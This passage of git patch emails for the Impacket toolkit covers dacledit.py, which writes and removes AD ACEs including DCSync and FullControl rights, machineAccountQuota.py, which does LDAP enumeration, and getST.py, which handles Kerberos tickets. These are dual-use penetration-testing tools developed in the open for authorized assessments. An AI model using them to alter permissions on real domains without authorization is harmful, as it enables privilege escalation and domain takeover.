security_descriptor_control(sdflags=0x04) From f9393e093de9a1661a9ec0a1fa4afc1a31c6a841 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 3 Apr 2022 00:53:35 +0200 Subject: [PATCH 108/163] Adding exception for read filtering --- examples/dacledit.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 305ce6424..d1734388d 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -390,7 +390,7 @@ def search_target_principal_security_descriptor(self): logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) except IndexError: logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) - return + exit(0) # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName @@ -546,8 +546,11 @@ def printparsedDACL(self, parsed_dacl): for parsed_ace in parsed_dacl: print_ace = True if self.principal_SID is not None: - if self.principal_SID not in parsed_ace['Trustee (SID)']: - print_ace = False + try: + if self.principal_SID not in parsed_ace['Trustee (SID)']: + print_ace = False + except Exception as e: + logging.error("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) if print_ace: logging.info(" %-28s" % "ACE[%d] info" % i) self.printparsedACE(parsed_ace) From 456545239d74ca172d51cf4d91f0c8e58ac5e0f1 Mon Sep 17 00:00:00 2001 From: BlWasp Date: Fri, 8 Apr 2022 19:00:13 +0000 Subject: [PATCH 109/163] Denied ACE now handled --- examples/dacledit.py | 72 ++++++++++++++++++++++++++------------------ 1 file changed, 42 insertions(+), 30 deletions(-) mode change 100644 => 100755 examples/dacledit.py diff --git a/examples/dacledit.py b/examples/dacledit.py old mode 100644 new mode 100755 index d1734388d..9e7246414 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -149,10 +149,11 @@ class ACE_FLAGS(Enum): SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG -# ACE access allowed flags enum -# For an access allowed ACE, flags that indicate if the ObjectType and the InheritedObjecType are set with a GUID +# ACE flags enum +# For an ACE, flags that indicate if the ObjectType and the InheritedObjecType are set with a GUID +# Since these two flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes' # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-access_allowed_object_ace -class ALLOWED_OBJECT_ACE_FLAGS(Enum): +class OBJECT_ACE_FLAGS(Enum): ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT @@ -193,6 +194,8 @@ class SIMPLE_PERMISSIONS(Enum): # Mask ObjectType field enum # Possible values for the Mask field in object-specific ACE (permitting to specify extended rights in the ObjectType field for example) +# Since these flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes' +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): ControlAccess = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS CreateChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD @@ -218,6 +221,7 @@ def __init__(self, ldap_server, ldap_session, args): self.principal_SID = args.principal_SID self.principal_DN = args.principal_DN + self.ace_type = args.ace_type self.rights = args.rights self.rights_guid = args.rights_guid self.filename = args.filename @@ -266,11 +270,11 @@ def write(self): # Append the ACEs in the DACL locally if self.rights == "FullControl" and self.rights_guid is None: logging.debug("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) - self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) + self.principal_security_descriptor['Dacl'].aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type)) else: for rights_guid in self.build_guids_for_rights(): logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, format_sid(self.target_SID))) - self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) + self.principal_security_descriptor['Dacl'].aces.append(self.create_object_ace(rights_guid, self.principal_SID, self.ace_type)) # Backups current DACL before add the new one self.backup() # Effectively push the DACL with the new ACE @@ -285,10 +289,10 @@ def remove(self): # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified # These ACEs will be used as comparison templates if self.rights == "FullControl" and self.rights_guid is None: - compare_aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) + compare_aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type)) else: for rights_guid in self.build_guids_for_rights(): - compare_aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) + compare_aces.append(self.create_object_ace(rights_guid, self.principal_SID, self.ace_type)) new_dacl = [] i = 0 dacl_must_be_replaced = False @@ -455,8 +459,8 @@ def parsePerms(self, fsr): # Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType) # - ace : the ACE to parse def parseACE(self, ace): - # For the moment, only the Allowed Access ACE are supported - if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + # For the moment, only the Allowed and Denied Access ACE are supported + if ace['TypeName'] in [ "ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_ACE", "ACCESS_DENIED_OBJECT_ACE" ]: parsed_ace = {} parsed_ace['ACE Type'] = ace['TypeName'] # Retrieves ACE's flags @@ -468,30 +472,24 @@ def parseACE(self, ace): # For standard ACE # Extracts the access mask (by parsing the simple permissions) and the principal's SID - if ace['TypeName'] == "ACCESS_ALLOWED_ACE": + if ace['TypeName'] in [ "ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE" ]: parsed_ace['Access mask'] = "%s (0x%x)" % (", ".join(self.parsePerms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask']) parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) - # todo match the SID with the object sAMAccountName ? - + # For object-specific ACE - elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": + elif ace['TypeName'] in [ "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE" ]: # Extracts the mask values. These values will indicate the ObjectType purpose - # todo check if this access mask parsing is okay _access_mask_flags = [] for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: if ace['Ace']['Mask'].hasPriv(FLAG.value): _access_mask_flags.append(FLAG.name) parsed_ace['Access mask'] = ", ".join(_access_mask_flags) - # todo match the SID with the object sAMAccountName ? - # Extracts the ACE flag values and the trusted SID _object_flags = [] - for FLAG in ALLOWED_OBJECT_ACE_FLAGS: + for FLAG in OBJECT_ACE_FLAGS: if ace['Ace'].hasFlag(FLAG.value): _object_flags.append(FLAG.name) parsed_ace['Flags'] = ", ".join(_object_flags) or "None" - parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) - # Extracts the ObjectType GUID values if ace['Ace']['ObjectTypeLen'] != 0: obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() @@ -506,6 +504,9 @@ def parseACE(self, ace): parsed_ace['Inherited type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) except KeyError: parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type + # Extract the Trustee SID (the object that has the right over the DACL bearer) + parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) + else: # If the ACE is not an access allowed logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) @@ -602,34 +603,44 @@ def modify_secDesc_for_dn(self, dn, secDesc): logging.error('The server returned an error: %s', self.ldap_session.result['message']) - # Builds a standard allowed access ACE for a specified access mask (rights) and a specified SID (the principal who obtains the right) + # Builds a standard ACE for a specified access mask (rights) and a specified SID (the principal who obtains the right) # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb # - access_mask : the allowed access mask # - sid : the principal's SID - def create_access_allowed_ace(self, access_mask, sid): + # - ace_type : the ACE type (allowed or denied) + def create_ace(self, access_mask, sid, ace_type): nace = ldaptypes.ACE() - nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + if ace_type == "allowed": + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_ALLOWED_ACE() + else: + nace['AceType'] = ldaptypes.ACCESS_DENIED_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_DENIED_ACE() nace['AceFlags'] = 0x00 - acedata = ldaptypes.ACCESS_ALLOWED_ACE() acedata['Mask'] = ldaptypes.ACCESS_MASK() acedata['Mask']['Mask'] = access_mask acedata['Sid'] = ldaptypes.LDAP_SID() acedata['Sid'].fromCanonical(sid) nace['Ace'] = acedata - logging.debug('Allowed access ACE created.') + logging.debug('ACE created.') return nace - # Builds an object-specific allowed access ACE for a specified ObjectType (an extended right, a property, etc, to add) for a specified SID (the principal who obtains the right) + # Builds an object-specific for a specified ObjectType (an extended right, a property, etc, to add) for a specified SID (the principal who obtains the right) # The Mask is "ADS_RIGHT_DS_CONTROL_ACCESS" (the ObjectType GUID will identify an extended access right) # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe # - privguid : the ObjectType (an Extended Right here) # - sid : the principal's SID - def create_access_allowed_object_ace(self, privguid, sid): + # - ace_type : the ACE type (allowed or denied) + def create_object_ace(self, privguid, sid, ace_type): nace = ldaptypes.ACE() - nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE + if ace_type == "allowed": + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() + else: + nace['AceType'] = ldaptypes.ACCESS_DENIED_OBJECT_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_DENIED_OBJECT_ACE() nace['AceFlags'] = 0x00 - acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() acedata['Mask'] = ldaptypes.ACCESS_MASK() acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS acedata['ObjectType'] = string_to_bin(privguid) @@ -640,7 +651,7 @@ def create_access_allowed_object_ace(self, privguid, sid): # This ACE flag verifes if the ObjectType is valid acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT nace['Ace'] = acedata - logging.debug('Object-specific allowed access ACE created.') + logging.debug('Object-specific ACE created.') return nace @@ -672,7 +683,8 @@ def parse_args(): dacl_parser = parser.add_argument_group("dacl editor") dacl_parser.add_argument('-action', choices=['read', 'write', 'remove', 'backup', 'restore'], nargs='?', default='read', help='Action to operate on the DACL') - dacl_parser.add_argument('-file', dest="filename", type=str, help='Filename and path for the backup (optional)/restore (required)') + dacl_parser.add_argument('-file', dest="filename", type=str, help='Filename/path (optional for -action backup, required for -restore))') + dacl_parser.add_argument('-ace-type', choices=['allowed', 'denied'], nargs='?', default='allowed', help='The ACE Type (access allowed or denied) that must be added or removed (default: allowed)') dacl_parser.add_argument('-rights', choices=['FullControl', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='FullControl', help='Rights to write/remove in the target DACL (default: FullControl)') dacl_parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to write/remove') From 75fb93e009303f4aa34822bde5f3c727482bf846 Mon Sep 17 00:00:00 2001 From: TahiTi Date: Tue, 26 Apr 2022 16:09:30 +0200 Subject: [PATCH 110/163] Fixed Kerberos authentication error. --- examples/dacledit.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 9e7246414..ef0119748 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -875,6 +875,9 @@ def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash=' def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): user = '%s\\%s' % (domain, username) + connect_to = target + if args.dc_ip is not None: + connect_to = args.dc_ip if tls_version is not None: use_ssl = True port = 636 @@ -883,7 +886,7 @@ def init_ldap_connection(target, tls_version, args, domain, username, password, use_ssl = False port = 389 tls = None - ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) if args.k: ldap_session = ldap3.Connection(ldap_server) ldap_session.bind() From 6e0d4714c7cc35b39052449cf324c59efae0bd80 Mon Sep 17 00:00:00 2001 From: TahiTi Date: Tue, 26 Apr 2022 18:15:07 +0200 Subject: [PATCH 111/163] Code refactor and addition of computer object creator info. --- examples/machineAccountQuota.py | 376 +++++++++++++++++++++++--------- 1 file changed, 271 insertions(+), 105 deletions(-) diff --git a/examples/machineAccountQuota.py b/examples/machineAccountQuota.py index 75a4065d7..12396e09f 100644 --- a/examples/machineAccountQuota.py +++ b/examples/machineAccountQuota.py @@ -5,7 +5,7 @@ # Description: # This module will try to get the Machine Account Quota from the domain attribute ms-DS-MachineAccountQuota. -# If the value is superior to 0, it opens new paths to enumerate further the target domain. +# If the value is superior to 0, it tries to list any computer object created by a user and returns the machine name and its creator sAMAccountName and SID. # # Author: # TahiTi @@ -14,110 +14,62 @@ import argparse import logging import sys +import ldap3 +import ssl +import traceback +from binascii import unhexlify +from ldap3.protocol.formatters.formatters import format_sid +import ldapdomaindump from impacket import version -from impacket.examples import logger +from impacket.examples import logger, utils from impacket.examples.utils import parse_credentials from impacket.ldap import ldap, ldapasn1 from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech class GetMachineAccountQuota: - def __init__(self, username, password, domain, cmdLineOptions): - self.options = cmdLineOptions - self.__username = username - self.__password = password - self.__domain = domain - self.__lmhash = '' - self.__nthash = '' - self.__aesKey = cmdLineOptions.aesKey - self.__doKerberos = cmdLineOptions.k - self.__target = None - self.__kdcHost = cmdLineOptions.dc_ip - if cmdLineOptions.hashes is not None: - self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') - - # Create the baseDN - domainParts = self.__domain.split('.') - self.baseDN = '' - for i in domainParts: - self.baseDN += 'dc=%s,' % i - # Remove last ',' - self.baseDN = self.baseDN[:-1] - - def getMachineName(self): - if self.__kdcHost is not None: - s = SMBConnection(self.__kdcHost, self.__kdcHost) - else: - s = SMBConnection(self.__domain, self.__domain) - try: - s.login('', '') - except Exception: - if s.getServerName() == '': - raise Exception('Error while anonymous logging into %s') - else: - s.logoff() - return s.getServerName() - - def run(self): - if self.__doKerberos: - self.__target = self.getMachineName() - else: - if self.__kdcHost is not None: - self.__target = self.__kdcHost - else: - self.__target = self.__domain + def __init__(self, ldap_server, ldap_session, args): + self.ldap_server = ldap_server + self.ldap_session = ldap_session - # Connect to LDAP - try: - ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcHost) - if self.__doKerberos is not True: - ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - else: - ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, - self.__aesKey, kdcHost=self.__kdcHost) - except ldap.LDAPSessionError as e: - if str(e).find('strongerAuthRequired') >= 0: - # We need to try SSL - ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) - if self.__doKerberos is not True: - ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - else: - ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, - self.__aesKey, kdcHost=self.__kdcHost) - else: - raise - - logging.info('Querying %s for information about domain.' % self.__target) - - # Building the search filter - searchFilter = "(objectClass=*)" - attributes = ['ms-DS-MachineAccountQuota'] + logging.debug('Initializing domainDumper()') + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + def machineAccountQuota(self, maq): try: - result = ldapConnection.search(searchFilter=searchFilter, attributes=attributes) - for item in result: - if isinstance(item, ldapasn1.SearchResultEntry) is not True: - continue - machineAccountQuota = 0 - for attribute in item['attributes']: - if str(attribute['type']) == 'ms-DS-MachineAccountQuota': - machineAccountQuota = attribute['vals'][0] - logging.info('MachineAccountQuota: %d' % machineAccountQuota) - + self.ldap_session.search(self.domain_dumper.root, '(objectClass=*)', attributes=['mS-DS-MachineAccountQuota']) + maq = self.ldap_session.entries[0]['mS-DS-MachineAccountQuota'].values[0] + logging.info('MachineAccountQuota: %s' % maq) + return maq except ldap.LDAPSearchError: raise - ldapConnection.close() - -if __name__ == '__main__': - print(version.BANNER) + def maqUsers(self): + self.ldap_session.search(self.domain_dumper.root, '(&(objectCategory=computer)(mS-DS-CreatorSID=*))', attributes=['mS-DS-CreatorSID']) + logging.info("Retrieving non privileged domain users that added a machine account...") + users_sid = [] + if len(self.ldap_session.entries) != 0: + for entry in self.ldap_session.entries: + user_sid = format_sid(entry['mS-DS-CreatorSID'].values[0]) + self.ldap_session.search(self.domain_dumper.root, '(objectSID=%s)' % user_sid, attributes=['objectSID', 'sAMAccountName']) + if user_sid in users_sid: + continue + else: + users_sid.append(user_sid) + logging.info('sAMAccountName : %s' % self.ldap_session.entries[0]['sAMAccountName'].values[0]) + logging.info('User SID : %s ' % user_sid) + else: + logging.info("No non-privileged user added a computer to the domain.") +def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='Retrieve the machine account quota value from the domain.') - parser.add_argument('target', action='store', help='domain/username[:password]') + parser.add_argument('identity', action='store', help='domain/username[:password]') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') @@ -137,37 +89,251 @@ def run(self): parser.print_help() sys.exit(1) - options = parser.parse_args() + return parser.parse_args() + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' - # Init the example's logger theme - logger.init(options.ts) + return domain, username, password, lmhash, nthash - if options.debug is True: +def init_logger(args): + #Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) - domain, username, password = parse_credentials(options.target) +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() - if domain is None: - domain = '' +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ - if options.aesKey is not None: - options.k = True + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass - if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: - from getpass import getpass + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + target = 'ldap/%s' % target + if useCache: + logging.info('dans la co kerberos la target est : %s' % target) + domain, user, TGT, TGS = CCache.parseFile(domain, user, target) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] - password = getpass('Password:') + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + connect_to = target + if args.dc_ip is not None: + connect_to = args.dc_ip + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, lmhash, nthash = parse_identity(args) + machine_account_quota = 0 try: - execute = GetMachineAccountQuota(username, password, domain, options) - execute.run() + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + execute = GetMachineAccountQuota(ldap_server, ldap_session, args) + + if execute.machineAccountQuota(machine_account_quota) != 0: + execute.maqUsers() + except Exception as e: if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - print((str(e))) + logging.error(str(e)) + +if __name__ == '__main__': + main() From 0138ae44c4667bf0d484223c573cdbc3abb7e982 Mon Sep 17 00:00:00 2001 From: TahiTi Date: Tue, 26 Apr 2022 18:17:43 +0200 Subject: [PATCH 112/163] Code refactor and addition of computer object creator info. --- examples/machineAccountQuota.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/examples/machineAccountQuota.py b/examples/machineAccountQuota.py index 12396e09f..6e24e85bd 100644 --- a/examples/machineAccountQuota.py +++ b/examples/machineAccountQuota.py @@ -5,7 +5,8 @@ # Description: # This module will try to get the Machine Account Quota from the domain attribute ms-DS-MachineAccountQuota. -# If the value is superior to 0, it tries to list any computer object created by a user and returns the machine name and its creator sAMAccountName and SID. +# If the value is superior to 0, it tries to list any computer object created by a user and returns the machine +# name and its creator sAMAccountName and SID. # # Author: # TahiTi From 6ee80f31fced710c98f00b6fda240c9ced9978dd Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Fri, 29 Apr 2022 14:57:46 +0800 Subject: [PATCH 113/163] ccache-refactor we may need change the code because ccache-refactor:https://github.com/SecureAuthCorp/impacket/commit/539361973a3faab1189ff1119b8ccc77b1632b28 --- examples/getST.py | 23 ++++++----------------- 1 file changed, 6 insertions(+), 17 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index e53f640d4..6e2fcbe76 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -659,23 +659,12 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) def run(self): # Do we have a TGT cached? - tgt = None - try: - ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) - logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) - principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) - creds = ccache.getCredential(principal) - if creds is not None: - # ToDo: Check this TGT belogns to the right principal - TGT = creds.toTGT() - tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] - oldSessionKey = sessionKey - logging.info('Using TGT from cache') - else: - logging.debug("No valid credentials found in cache. ") - except: - # No cache present - pass + domain, _, TGT, _ = CCache.parseFile(self.__domain) + + # ToDo: Check this TGT belogns to the right principal + if TGT is not None: + tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] + oldSessionKey = sessionKey if tgt is None: # Still no TGT From 3c666a293d210b6ece674cdb0c802e6a6e679ad4 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 2 May 2022 17:55:54 +0200 Subject: [PATCH 114/163] Fixing incomplete access mask parsing --- examples/dacledit.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/examples/dacledit.py b/examples/dacledit.py index 9e7246414..20dc67c82 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -162,17 +162,26 @@ class OBJECT_ACE_FLAGS(Enum): # Access mask permits to encode principal's rights to an object. This is the rights the principal behind the specified SID has # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b class 